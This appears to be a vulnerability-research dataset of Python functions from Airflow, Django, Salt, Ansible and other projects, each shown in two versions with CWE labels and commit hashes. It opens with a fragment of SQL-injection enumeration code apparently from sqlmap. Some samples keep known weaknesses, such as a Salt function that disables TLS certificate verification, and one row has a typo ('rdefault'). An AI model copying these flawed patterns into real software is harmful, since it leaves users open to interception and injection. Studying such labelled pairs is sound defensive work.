            conf.tbl = origTbl

            infoMsg = ""searching column""
            if colConsider == ""1"":
                infoMsg += ""s like""
            infoMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split("","")
                whereTblsQuery = "" AND ("" + "" OR "".join(""%s = '%s'"" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + "")""
                infoMsgTbl = "" for table%s '%s'"" % (""s"" if len(_) > 1 else """", "", "".join(tbl for tbl in _))

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split("","")
                infoMsgDb = "" in database%s '%s'"" % (""s"" if len(_) > 1 else """", "", "".join(db for db in _))
            elif conf.excludeSysDbs:
                infoMsg2 = ""skipping system database%s '%s'"" % (""s"" if len(self.excludeDbsList) > 1 else """", "", "".join(db for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                infoMsgDb = "" across all databases""

            logger.info(""%s%s%s"" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = ""%s%s"" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            for db in filter(None, dbs.keys()):
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    continue

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    query = rootQuery.inband.query % (db, db, db, db, db, db)
                    query += "" AND %s"" % colQuery.replace(""[DB]"", db)
                    query += whereTblsQuery.replace(""[DB]"", db)
                    values = inject.getValue(query, blind=False, time=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                            if foundTbl is None:
                                continue

                            if foundTbl not in dbs[db]:
                                dbs[db][foundTbl] = {}

                            if colConsider == ""1"":
                                conf.db = db
                                conf.tbl = foundTbl
                                conf.col = column

                                self.getColumns(onlyColNames=True, bruteForce=False)

                                if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
                                  and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
                                    dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
                                kb.data.cachedColumns = {}
                            else:
                                dbs[db][foundTbl][column] = None

                            if db in foundCols[column]:
                                foundCols[column][db].append(foundTbl)
                            else:
                                foundCols[column][db] = [foundTbl]
                else:
                    foundCols[column][db] = []

                    infoMsg = ""fetching number of tables containing column""
                    if colConsider == ""1"":
                        infoMsg += ""s like""
                    infoMsg += "" '%s' in database '%s'"" % (column, db)
                    logger.info(""%s%s"" % (infoMsg, infoMsgTbl))

                    query = rootQuery.blind.count
                    query = query % (db, db, db, db, db, db)
                    query += "" AND %s"" % colQuery.replace(""[DB]"", db)
                    query += whereTblsQuery.replace(""[DB]"", db)
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = ""no tables contain column""
                        if colConsider == ""1"":
                            warnMsg += ""s like""
                        warnMsg += "" '%s' "" % column
                        warnMsg += ""in database '%s'"" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (db, db, db, db, db, db)
                        query += "" AND %s"" % colQuery.replace(""[DB]"", db)
                        query += whereTblsQuery.replace(""[DB]"", db)
                        query = agent.limitQuery(index, query, colCond.replace(""[DB]"", db))
                        tbl = inject.getValue(query, union=False, error=False)
                        kb.hintValue = tbl

                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if tbl not in dbs[db]:
                            dbs[db][tbl] = {}

                        if colConsider == ""1"":
                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True, bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                                dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
                            kb.data.cachedColumns = {}
                        else:
                            dbs[db][tbl][column] = None

                        foundCols[column][db].append(tbl)

        conf.dumper.dbColumns(foundCols, colConsider, dbs)
        self.dumpFoundColumn(dbs, foundCols, colConsider)"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_task_instances.py,1,"def test_should_respond_200(self, test_client, session):
        self.create_task_instances(session, task_instances=[{""state"": State.SUCCESS}], with_ti_history=True)
        response = test_client.get(
            ""/public/dags/example_python_operator/dagRuns/TEST_DAG_RUN_ID/taskInstances/print_the_context/tries/1""
        )
        assert response.status_code == 200
        assert response.json() == {
            ""dag_id"": ""example_python_operator"",
            ""duration"": 10000.0,
            ""end_date"": ""2020-01-03T00:00:00Z"",
            ""executor"": None,
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""map_index"": -1,
            ""max_tries"": 0,
            ""operator"": ""PythonOperator"",
            ""pid"": 100,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 9,
            ""queue"": ""default_queue"",
            ""queued_when"": None,
            ""scheduled_when"": None,
            ""start_date"": ""2020-01-02T00:00:00Z"",
            ""state"": ""success"",
            ""task_id"": ""print_the_context"",
            ""task_display_name"": ""print_the_context"",
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""dag_run_id"": ""TEST_DAG_RUN_ID"",
            ""dag_version"": None,
        }",CWE-703,apache/airflow,d7c99b99ebbaab779db6edaf321368d54c07ef25,"def test_should_respond_200(self, test_client, session):
        self.create_task_instances(session, task_instances=[{""state"": State.SUCCESS}], with_ti_history=True)
        response = test_client.get(
            ""/public/dags/example_python_operator/dagRuns/TEST_DAG_RUN_ID/taskInstances/print_the_context/tries/1""
        )
        assert response.status_code == 200
        assert response.json() == {
            ""dag_id"": ""example_python_operator"",
            ""duration"": 10000.0,
            ""end_date"": ""2020-01-03T00:00:00Z"",
            ""executor"": None,
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""map_index"": -1,
            ""max_tries"": 0,
            ""operator"": ""PythonOperator"",
            ""pid"": 100,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 9,
            ""queue"": ""default_queue"",
            ""queued_when"": None,
            ""scheduled_when"": None,
            ""start_date"": ""2020-01-02T00:00:00Z"",
            ""state"": ""success"",
            ""task_id"": ""print_the_context"",
            ""task_display_name"": ""print_the_context"",
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""dag_run_id"": ""TEST_DAG_RUN_ID"",
        }"
,UNKNOWN,UNKNOWN,tests/providers/hashicorp/_internal_client/test_vault_client.py,1,"def test_get_existing_key_v1(self, mock_hvac):
        mock_client = mock.MagicMock()
        mock_hvac.Client.return_value = mock_client

        mock_client.secrets.kv.v1.read_secret.return_value = {
            ""request_id"": ""182d0673-618c-9889-4cba-4e1f4cfe4b4b"",
            ""lease_id"": """",
            ""renewable"": False,
            ""lease_duration"": 2764800,
            ""data"": {""value"": ""world""},
            ""wrap_info"": None,
            ""warnings"": None,
            ""auth"": None,
        }

        vault_client = _VaultClient(
            auth_type=""radius"",
            radius_host=""radhost"",
            radius_port=8110,
            radius_secret=""pass"",
            kv_engine_version=1,
            url=""http://localhost:8180"",
        )
        secret = vault_client.get_secret(secret_path=""/path/to/secret"")
        assert {""value"": ""world""} == secret
        mock_client.secrets.kv.v1.read_secret.assert_called_once_with(
            mount_point=""secret"", path=""/path/to/secret""
        )",CWE-703,apache/airflow,f411c147cd7d7b21295b152e37566a159ddf94fe,"def test_get_existing_key_v1(self, mock_hvac):
        mock_client = mock.MagicMock()
        mock_hvac.Client.return_value = mock_client

        mock_client.secrets.kv.v1.read_secret.return_value = {
            ""request_id"": ""182d0673-618c-9889-4cba-4e1f4cfe4b4b"",
            ""lease_id"": """",
            ""renewable"": False,
            ""lease_duration"": 2764800,
            ""data"": {""value"": ""world""},
            ""wrap_info"": None,
            ""warnings"": None,
            ""auth"": None,
        }

        vault_client = _VaultClient(
            auth_type=""radius"",
            radius_host=""radhost"",
            radius_port=8110,
            radius_secret=""pass"",
            kv_engine_version=1,
            url=""http://localhost:8180"",
        )
        secret = vault_client.get_secret(secret_path=""/path/to/secret"")
        assert {""value"": ""world""} == secret
        mock_client.secrets.kv.v1.read_secret.assert_called_once_with(
            mount_point=""secret"", path=""/path/to/secret""
        )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_views/test_history_view.py,0,"def setUp(self):
        self.client.force_login(self.superuser)",CWE-Unknown,django/django,9ef0394b5413b702d2bfc7f151d565982fe29837,"def setUp(self):
        self.client.force_login(self.superuser)"
,UNKNOWN,UNKNOWN,airflow/dag_processing/manager.py,1,"def prepare_file_path_queue(self):
        """"""
        Scan dags dir to generate more file paths to process.

        Note this method is only called when the file path queue is empty
        """"""
        self._parsing_start_time = time.perf_counter()
        # If the file path is already being processed, or if a file was
        # processed recently, wait until the next batch
        file_paths_in_progress = self._processors.keys()
        now = timezone.utcnow()

        # Sort the file paths by the parsing order mode
        list_mode = conf.get(""scheduler"", ""file_parsing_sort_mode"")

        files_with_mtime = {}
        file_paths = []
        is_mtime_mode = list_mode == ""modified_time""

        file_paths_recently_processed = []
        file_paths_to_stop_watching = set()
        for file_path in self._file_paths:

            if is_mtime_mode:
                try:
                    files_with_mtime[file_path] = os.path.getmtime(file_path)
                except FileNotFoundError:
                    self.log.warning(""Skipping processing of missing file: %s"", file_path)
                    self._file_stats.pop(file_path, None)
                    file_paths_to_stop_watching.add(file_path)
                    continue
                file_modified_time = datetime.fromtimestamp(files_with_mtime[file_path], tz=timezone.utc)
            else:
                file_paths.append(file_path)
                file_modified_time = None

            # Find file paths that were recently processed to exclude them
            # from being added to file_path_queue
            # unless they were modified recently and parsing mode is ""modified_time""
            # in which case we don't honor ""self._file_process_interval"" (min_file_process_interval)
            last_finish_time = self.get_last_finish_time(file_path)
            if (
                last_finish_time is not None
                and (now - last_finish_time).total_seconds() < self._file_process_interval
                and not (is_mtime_mode and file_modified_time and (file_modified_time > last_finish_time))
            ):
                file_paths_recently_processed.append(file_path)

        # Sort file paths via last modified time
        if is_mtime_mode:
            file_paths = sorted(files_with_mtime, key=files_with_mtime.get, reverse=True)
        elif list_mode == ""alphabetical"":
            file_paths = sorted(file_paths)
        elif list_mode == ""random_seeded_by_host"":
            # Shuffle the list seeded by hostname so multiple schedulers can work on different
            # set of files. Since we set the seed, the sort order will remain same per host
            random.Random(get_hostname()).shuffle(file_paths)

        if file_paths_to_stop_watching:
            self.set_file_paths(
                [path for path in self._file_paths if path not in file_paths_to_stop_watching]
            )

        files_paths_at_run_limit = [
            file_path for file_path, stat in self._file_stats.items() if stat.run_count == self._max_runs
        ]

        file_paths_to_exclude = set(file_paths_in_progress).union(
            file_paths_recently_processed,
            files_paths_at_run_limit,
        )

        # Do not convert the following list to set as set does not preserve the order
        # and we need to maintain the order of file_paths for `[scheduler] file_parsing_sort_mode`
        files_paths_to_queue = [
            file_path for file_path in file_paths if file_path not in file_paths_to_exclude
        ]

        for file_path, processor in self._processors.items():
            self.log.debug(
                ""File path %s is still being processed (started: %s)"",
                processor.file_path,
                processor.start_time.isoformat(),
            )

        self.log.debug(""Queuing the following files for processing:\n\t%s"", ""\n\t"".join(files_paths_to_queue))

        for file_path in files_paths_to_queue:
            self._file_stats.setdefault(file_path, DagFileProcessorManager.DEFAULT_FILE_STAT)
        self._add_paths_to_queue(files_paths_to_queue, False)
        Stats.incr(""dag_processing.file_path_queue_update_count"")",CWE-330,apache/airflow,7a8b3c40448455b5e4292937ec85606e2d99d54c,"def prepare_file_path_queue(self):
        """"""
        Scan dags dir to generate more file paths to process.

        Note this method is only called when the file path queue is empty
        """"""
        self._parsing_start_time = time.perf_counter()
        # If the file path is already being processed, or if a file was
        # processed recently, wait until the next batch
        file_paths_in_progress = self._processors.keys()
        now = timezone.utcnow()

        # Sort the file paths by the parsing order mode
        list_mode = conf.get(""scheduler"", ""file_parsing_sort_mode"")

        files_with_mtime = {}
        file_paths = []
        is_mtime_mode = list_mode == ""modified_time""

        file_paths_recently_processed = []
        file_paths_to_stop_watching = set()
        for file_path in self._file_paths:

            if is_mtime_mode:
                try:
                    files_with_mtime[file_path] = os.path.getmtime(file_path)
                except FileNotFoundError:
                    self.log.warning(""Skipping processing of missing file: %s"", file_path)
                    self._file_stats.pop(file_path, None)
                    file_paths_to_stop_watching.add(file_path)
                    continue
                file_modified_time = timezone.make_aware(datetime.fromtimestamp(files_with_mtime[file_path]))
            else:
                file_paths.append(file_path)
                file_modified_time = None

            # Find file paths that were recently processed to exclude them
            # from being added to file_path_queue
            # unless they were modified recently and parsing mode is ""modified_time""
            # in which case we don't honor ""self._file_process_interval"" (min_file_process_interval)
            last_finish_time = self.get_last_finish_time(file_path)
            if (
                last_finish_time is not None
                and (now - last_finish_time).total_seconds() < self._file_process_interval
                and not (is_mtime_mode and file_modified_time and (file_modified_time > last_finish_time))
            ):
                file_paths_recently_processed.append(file_path)

        # Sort file paths via last modified time
        if is_mtime_mode:
            file_paths = sorted(files_with_mtime, key=files_with_mtime.get, reverse=True)
        elif list_mode == ""alphabetical"":
            file_paths = sorted(file_paths)
        elif list_mode == ""random_seeded_by_host"":
            # Shuffle the list seeded by hostname so multiple schedulers can work on different
            # set of files. Since we set the seed, the sort order will remain same per host
            random.Random(get_hostname()).shuffle(file_paths)

        if file_paths_to_stop_watching:
            self.set_file_paths(
                [path for path in self._file_paths if path not in file_paths_to_stop_watching]
            )

        files_paths_at_run_limit = [
            file_path for file_path, stat in self._file_stats.items() if stat.run_count == self._max_runs
        ]

        file_paths_to_exclude = set(file_paths_in_progress).union(
            file_paths_recently_processed,
            files_paths_at_run_limit,
        )

        # Do not convert the following list to set as set does not preserve the order
        # and we need to maintain the order of file_paths for `[scheduler] file_parsing_sort_mode`
        files_paths_to_queue = [
            file_path for file_path in file_paths if file_path not in file_paths_to_exclude
        ]

        for file_path, processor in self._processors.items():
            self.log.debug(
                ""File path %s is still being processed (started: %s)"",
                processor.file_path,
                processor.start_time.isoformat(),
            )

        self.log.debug(""Queuing the following files for processing:\n\t%s"", ""\n\t"".join(files_paths_to_queue))

        for file_path in files_paths_to_queue:
            self._file_stats.setdefault(file_path, DagFileProcessorManager.DEFAULT_FILE_STAT)
        self._add_paths_to_queue(files_paths_to_queue, False)
        Stats.incr(""dag_processing.file_path_queue_update_count"")"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/ovirt/ovirt_permission_info.py,0,"def main():
    argument_spec = ovirt_info_full_argument_spec(
        authz_name=dict(required=True, aliases=['domain']),
        user_name=dict(default=None),
        group_name=dict(default=None),
        namespace=dict(default=None),
    )
    module = AnsibleModule(argument_spec)
    is_old_facts = module._name == 'ovirt_permission_facts'
    if is_old_facts:
        module.deprecate(""The 'ovirt_permission_facts' module has been renamed to 'ovirt_permission_info', ""
                         ""and the renamed one no longer returns ansible_facts"", version='2.13')

    check_sdk(module)

    try:
        auth = module.params.pop('auth')
        connection = create_connection(auth)
        permissions_service = _permissions_service(connection, module)
        permissions = []
        for p in permissions_service.list():
            newperm = dict()
            for key, value in p.__dict__.items():
                if value and isinstance(value, sdk.Struct):
                    newperm[key[1:]] = get_link_name(connection, value)
                    newperm['%s_id' % key[1:]] = value.id
            permissions.append(newperm)

        result = dict(ovirt_permissions=permissions)
        if is_old_facts:
            module.exit_json(changed=False, ansible_facts=result)
        else:
            module.exit_json(changed=False, **result)
    except Exception as e:
        module.fail_json(msg=str(e), exception=traceback.format_exc())
    finally:
        connection.close(logout=auth.get('token') is None)",,ansible/ansible,d2c21af3f742623ecd53d2dbb71b7ec80df607a9,"def main():
    argument_spec = ovirt_info_full_argument_spec(
        authz_name=dict(required=True, aliases=['domain']),
        user_name=dict(rdefault=None),
        group_name=dict(default=None),
        namespace=dict(default=None),
    )
    module = AnsibleModule(argument_spec)
    is_old_facts = module._name == 'ovirt_permission_facts'
    if is_old_facts:
        module.deprecate(""The 'ovirt_permission_facts' module has been renamed to 'ovirt_permission_info', ""
                         ""and the renamed one no longer returns ansible_facts"", version='2.13')

    check_sdk(module)

    try:
        auth = module.params.pop('auth')
        connection = create_connection(auth)
        permissions_service = _permissions_service(connection, module)
        permissions = []
        for p in permissions_service.list():
            newperm = dict()
            for key, value in p.__dict__.items():
                if value and isinstance(value, sdk.Struct):
                    newperm[key[1:]] = get_link_name(connection, value)
                    newperm['%s_id' % key[1:]] = value.id
            permissions.append(newperm)

        result = dict(ovirt_permissions=permissions)
        if is_old_facts:
            module.exit_json(changed=False, ansible_facts=result)
        else:
            module.exit_json(changed=False, **result)
    except Exception as e:
        module.fail_json(msg=str(e), exception=traceback.format_exc())
    finally:
        connection.close(logout=auth.get('token') is None)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/views.py,0,"def graph(self, dag_id: str, session: Session = NEW_SESSION):
        """"""Redirect to the replacement - grid + graph. Kept for backwards compatibility.""""""
        dag = get_airflow_app().dag_bag.get_dag(dag_id, session=session)
        if not dag:
            flash(f'DAG ""{dag_id}"" seems to be missing from DagBag.', ""error"")
            return redirect(url_for(""Airflow.index""))
        dt_nr_dr_data = get_date_time_num_runs_dag_runs_form_data(request, session, dag)
        dttm = dt_nr_dr_data[""dttm""]
        dag_run = dag.get_dagrun(execution_date=dttm)
        dag_run_id = dag_run.run_id if dag_run else None

        kwargs = {
            **sanitize_args(request.args),
            ""dag_id"": dag_id,
            ""tab"": ""graph"",
            ""dag_run_id"": dag_run_id,
        }

        return redirect(url_for(""Airflow.grid"", **kwargs))",CWE-Unknown,apache/airflow,549fac30eeefaa449df9bfdf58eb40a008e9fe75,"def graph(self, dag_id: str, session: Session = NEW_SESSION):
        """"""Redirect to the replacement - grid + graph. Kept for backwards compatibility.""""""
        dag = get_airflow_app().dag_bag.get_dag(dag_id, session=session)
        dt_nr_dr_data = get_date_time_num_runs_dag_runs_form_data(request, session, dag)
        dttm = dt_nr_dr_data[""dttm""]
        dag_run = dag.get_dagrun(execution_date=dttm)
        dag_run_id = dag_run.run_id if dag_run else None

        kwargs = {
            **sanitize_args(request.args),
            ""dag_id"": dag_id,
            ""tab"": ""graph"",
            ""dag_run_id"": dag_run_id,
        }

        return redirect(url_for(""Airflow.grid"", **kwargs))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/cli/test_main.py,0,"def test_main_handle_ini_options(self):
        # Test that bandit handles cmdline args from a bandit.yaml file
        temp_directory = self.useFixture(fixtures.TempDir()).path
        os.chdir(temp_directory)
        with open('bandit.yaml', 'wt') as fd:
            fd.write(bandit_config_content)
        with mock.patch('bandit.cli.main._get_options_from_ini'
                        ) as mock_get_opts:
            mock_get_opts.return_value = {""exclude"": ""/tmp"",
                                          ""skips"": ""skip_test"",
                                          ""tests"": ""some_test""}

            with mock.patch('bandit.cli.main.LOG.error') as err_mock:
                # SystemExit with code 2 when test not found in profile
                self.assertRaisesRegex(SystemExit, '2', bandit.main)
                self.assertEqual(str(err_mock.call_args[0][0]),
                                 'Unknown test found in profile: some_test')",UNKNOWN,PyCQA/bandit,3be3ca4de0b379d0d6713b28eec6c3b2ec9fcca9,"def test_main_handle_ini_options(self):
        # Test that bandit handles cmdline args from a bandit.yaml file
        temp_directory = self.useFixture(fixtures.TempDir()).path
        os.chdir(temp_directory)
        with open('bandit.yaml', 'wt') as fd:
            fd.write(bandit_config_content)
        with mock.patch('bandit.cli.main._get_options_from_ini'
                        ) as mock_get_opts:
            mock_get_opts.return_value = {""exclude"": ""/tmp"",
                                          ""skips"": ""skip_test"",
                                          ""tests"": ""some_test""}

            with mock.patch('bandit.cli.main.logger.error') as err_mock:
                # SystemExit with code 2 when test not found in profile
                self.assertRaisesRegex(SystemExit, '2', bandit.main)
                self.assertEqual(str(err_mock.call_args[0][0]),
                                 'Unknown test found in profile: some_test')"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/import_hooks/__init__.py,0,"def discover_post_import_hooks(group):
    # New in 3.9: https://docs.python.org/3/library/importlib.resources.html#importlib.resources.files
    if sys.version_info.major > 2 and sys.version_info.minor > 8:
        from importlib.resources import files  # pylint: disable=lazy-builtin-import

        for entrypoint in (
            resource.name for resource in files(group).iterdir() if resource.is_file()
        ):
            callback = _create_import_hook_from_entrypoint(entrypoint)
            register_post_import_hook(callback, entrypoint.name)
    else:
        from importlib.resources import contents  # pylint: disable=lazy-builtin-import

        for entrypoint in contents(group):
            callback = _create_import_hook_from_entrypoint(entrypoint)
            register_post_import_hook(callback, entrypoint.name)",,mlflow/mlflow,9425dc3524286b1b194e842a873a5df357b4a742,"def discover_post_import_hooks(group):
    # New in 3.9: https://docs.python.org/3/library/importlib.resources.html#importlib.resources.files
    if sys.version_info.major > 2 and sys.version_info.minor > 8:
        from importlib.resources import files

        for entrypoint in (
            resource.name for resource in files(group).iterdir() if resource.is_file()
        ):
            callback = _create_import_hook_from_entrypoint(entrypoint)
            register_post_import_hook(callback, entrypoint.name)
    else:
        from importlib.resources import contents

        for entrypoint in contents(group):
            callback = _create_import_hook_from_entrypoint(entrypoint)
            register_post_import_hook(callback, entrypoint.name)"
,UNKNOWN,UNKNOWN,salt/config.py,1,"def client_config(path, env_var='SALT_CLIENT_CONFIG', defaults=None):
    '''
    Load Master configuration data

    Usage:

    .. code-block:: python

        import salt.config
        master_opts = salt.config.client_config('/etc/salt/master')

    Returns a dictionary of the Salt Master configuration file with necessary
    options needed to communicate with a locally-running Salt Master daemon.
    This function searches for client specific configurations and adds them to
    the data from the master configuration.

    This is useful for master-side operations like
    :py:class:`~salt.client.LocalClient`.
    '''
    if defaults is None:
        defaults = DEFAULT_MASTER_OPTS

    xdg_dir = salt.utils.xdg.xdg_config_dir()
    if os.path.isdir(xdg_dir):
        client_config_dir = xdg_dir
        saltrc_config_file = 'saltrc'
    else:
        client_config_dir = '~'
        saltrc_config_file = '.saltrc'

    # Get the token file path from the provided defaults. If not found, specify
    # our own, sane, default
    opts = {
        'token_file': defaults.get(
            'token_file',
            os.path.join(client_config_dir, 'salt_token')
        )
    }
    # Update options with the master configuration, either from the provided
    # path, salt's defaults or provided defaults
    opts.update(
        master_config(path, defaults=defaults)
    )
    # Update with the users salt dot file or with the environment variable
    saltrc_config = os.path.join(client_config_dir, saltrc_config_file)
    opts.update(
        load_config(
            saltrc_config,
            env_var,
            saltrc_config
        )
    )
    # Make sure we have a proper and absolute path to the token file
    if 'token_file' in opts:
        opts['token_file'] = os.path.abspath(
            os.path.expanduser(
                opts['token_file']
            )
        )
    # If the token file exists, read and store the contained token
    if os.path.isfile(opts['token_file']):
        # Make sure token is still valid
        expire = opts.get('token_expire', 43200)
        if os.stat(opts['token_file']).st_mtime + expire > time.mktime(time.localtime()):
            with salt.utils.fopen(opts['token_file']) as fp_:
                opts['token'] = fp_.read().strip()
    # On some platforms, like OpenBSD, 0.0.0.0 won't catch a master running on localhost
    if opts['interface'] == '0.0.0.0':
        opts['interface'] = '127.0.0.1'

    # Make sure the master_uri is set
    if 'master_uri' not in opts:
        opts['master_uri'] = 'tcp://{ip}:{port}'.format(
            ip=salt.utils.ip_bracket(opts['interface']),
            port=opts['ret_port']
        )

    # Return the client options
    _validate_opts(opts)
    return opts",CWE-605,saltstack/salt,64e745cf13810a4997ddaed2dcbda947ddad6a82,"def client_config(path, env_var='SALT_CLIENT_CONFIG', defaults=None):
    '''
    Load Master configuration data

    Usage:

    .. code-block:: python

        import salt.config
        master_opts = salt.config.client_config('/etc/salt/master')

    Returns a dictionary of the Salt Master configuration file with necessary
    options needed to communicate with a locally-running Salt Master daemon.
    This function searches for client specific configurations and adds them to
    the data from the master configuration.

    This is useful for master-side operations like
    :py:class:`~salt.client.LocalClient`.
    '''
    if defaults is None:
        defaults = DEFAULT_MASTER_OPTS

    client_config_dir = salt.utils.xdg.xdg_config_dir()

    # Get the token file path from the provided defaults. If not found, specify
    # our own, sane, default
    opts = {
        'token_file': defaults.get(
            'token_file',
            os.path.join(client_config_dir, 'salt_token')
        )
    }
    # Update options with the master configuration, either from the provided
    # path, salt's defaults or provided defaults
    opts.update(
        master_config(path, defaults=defaults)
    )
    # Update with the users salt dot file or with the environment variable
    saltrc_config = os.path.join(client_config_dir, 'saltrc')
    opts.update(
        load_config(
            saltrc_config,
            env_var,
            saltrc_config
        )
    )
    # Make sure we have a proper and absolute path to the token file
    if 'token_file' in opts:
        opts['token_file'] = os.path.abspath(
            os.path.expanduser(
                opts['token_file']
            )
        )
    # If the token file exists, read and store the contained token
    if os.path.isfile(opts['token_file']):
        # Make sure token is still valid
        expire = opts.get('token_expire', 43200)
        if os.stat(opts['token_file']).st_mtime + expire > time.mktime(time.localtime()):
            with salt.utils.fopen(opts['token_file']) as fp_:
                opts['token'] = fp_.read().strip()
    # On some platforms, like OpenBSD, 0.0.0.0 won't catch a master running on localhost
    if opts['interface'] == '0.0.0.0':
        opts['interface'] = '127.0.0.1'

    # Make sure the master_uri is set
    if 'master_uri' not in opts:
        opts['master_uri'] = 'tcp://{ip}:{port}'.format(
            ip=salt.utils.ip_bracket(opts['interface']),
            port=opts['ret_port']
        )

    # Return the client options
    _validate_opts(opts)
    return opts"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,0,"def get_list_display(self, request):
        """"""
        Return a sequence containing the fields to be displayed on the
        changelist.
        """"""
        return self.list_display",CWE-Unknown,django/django,9796f69533320171bf22d769d6e4ab3f5a45aac1,"def get_list_display(self, request):
        """"""
        Return a sequence containing the fields to be displayed on the
        changelist.
        """"""
        return self.list_display"
,UNKNOWN,UNKNOWN,salt/utils/vmware.py,1,"def get_service_instance(host, username, password, protocol=None, port=None):
    '''
    Authenticate with a vCenter server or ESX/ESXi host and return the service instance object.

    host
        The location of the vCenter server or ESX/ESXi host.

    username
        The username used to login to the vCenter server or ESX/ESXi host.

    password
        The password used to login to the vCenter server or ESX/ESXi host.

    protocol
        Optionally set to alternate protocol if the vCenter server or ESX/ESXi host is not
        using the default protocol. Default protocol is ``https``.

    port
        Optionally set to alternate port if the vCenter server or ESX/ESXi host is not
        using the default port. Default port is ``443``.
    '''
    if protocol is None:
        protocol = 'https'
    if port is None:
        port = 443

    service_instance = GetSi()
    if service_instance:
        if service_instance._GetStub().host == ':'.join([host, str(port)]):
            return service_instance
        Disconnect(service_instance)

    try:
        service_instance = SmartConnect(
            host=host,
            user=username,
            pwd=password,
            protocol=protocol,
            port=port
        )
    except Exception as exc:
        default_msg = 'Could not connect to host \'{0}\'. ' \
                      'Please check the debug log for more information.'.format(host)
        try:
            if (isinstance(exc, vim.fault.HostConnectFault) and '[SSL: CERTIFICATE_VERIFY_FAILED]' in exc.msg) or '[SSL: CERTIFICATE_VERIFY_FAILED]' in str(exc):
                import ssl
                default_context = ssl._create_default_https_context
                ssl._create_default_https_context = ssl._create_unverified_context
                service_instance = SmartConnect(
                    host=host,
                    user=username,
                    pwd=password,
                    protocol=protocol,
                    port=port
                )
                ssl._create_default_https_context = default_context
            else:
                err_msg = exc.msg if hasattr(exc, 'msg') else default_msg
                log.debug(exc)
                raise SaltSystemExit(err_msg)

        except Exception as exc:
            if 'certificate verify failed' in str(exc):
                import ssl
                context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
                context.verify_mode = ssl.CERT_NONE
                service_instance = SmartConnect(
                    host=host,
                    user=username,
                    pwd=password,
                    protocol=protocol,
                    port=port,
                    sslContext=context
                )
            else:
                err_msg = exc.msg if hasattr(exc, 'msg') else default_msg
                log.debug(exc)
                raise SaltSystemExit(err_msg)

    atexit.register(Disconnect, service_instance)

    return service_instance",CWE-327,saltstack/salt,65efb55917fd3b1a941e7ea0da02f132c1798830,"def get_service_instance(host, username, password, protocol=None, port=None):
    '''
    Authenticate with a vCenter server or ESX/ESXi host and return the service instance object.

    host
        The location of the vCenter server or ESX/ESXi host.

    username
        The username used to login to the vCenter server or ESX/ESXi host.

    password
        The password used to login to the vCenter server or ESX/ESXi host.

    protocol
        Optionally set to alternate protocol if the vCenter server or ESX/ESXi host is not
        using the default protocol. Default protocol is ``https``.

    port
        Optionally set to alternate port if the vCenter server or ESX/ESXi host is not
        using the default port. Default port is ``443``.
    '''
    if protocol is None:
        protocol = 'https'
    if port is None:
        port = 443

    service_instance = GetSi()
    if service_instance:
        if service_instance._GetStub().host == ':'.join([host, str(port)]):
            if salt.utils.is_proxy():
                service_instance._GetStub().GetConnection()
            return service_instance
        Disconnect(service_instance)

    try:
        service_instance = SmartConnect(
            host=host,
            user=username,
            pwd=password,
            protocol=protocol,
            port=port
        )
    except Exception as exc:
        default_msg = 'Could not connect to host \'{0}\'. ' \
                      'Please check the debug log for more information.'.format(host)
        try:
            if (isinstance(exc, vim.fault.HostConnectFault) and '[SSL: CERTIFICATE_VERIFY_FAILED]' in exc.msg) or '[SSL: CERTIFICATE_VERIFY_FAILED]' in str(exc):
                import ssl
                default_context = ssl._create_default_https_context
                ssl._create_default_https_context = ssl._create_unverified_context
                service_instance = SmartConnect(
                    host=host,
                    user=username,
                    pwd=password,
                    protocol=protocol,
                    port=port
                )
                ssl._create_default_https_context = default_context
            else:
                err_msg = exc.msg if hasattr(exc, 'msg') else default_msg
                log.debug(exc)
                raise SaltSystemExit(err_msg)

        except Exception as exc:
            if 'certificate verify failed' in str(exc):
                import ssl
                context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
                context.verify_mode = ssl.CERT_NONE
                service_instance = SmartConnect(
                    host=host,
                    user=username,
                    pwd=password,
                    protocol=protocol,
                    port=port,
                    sslContext=context
                )
            else:
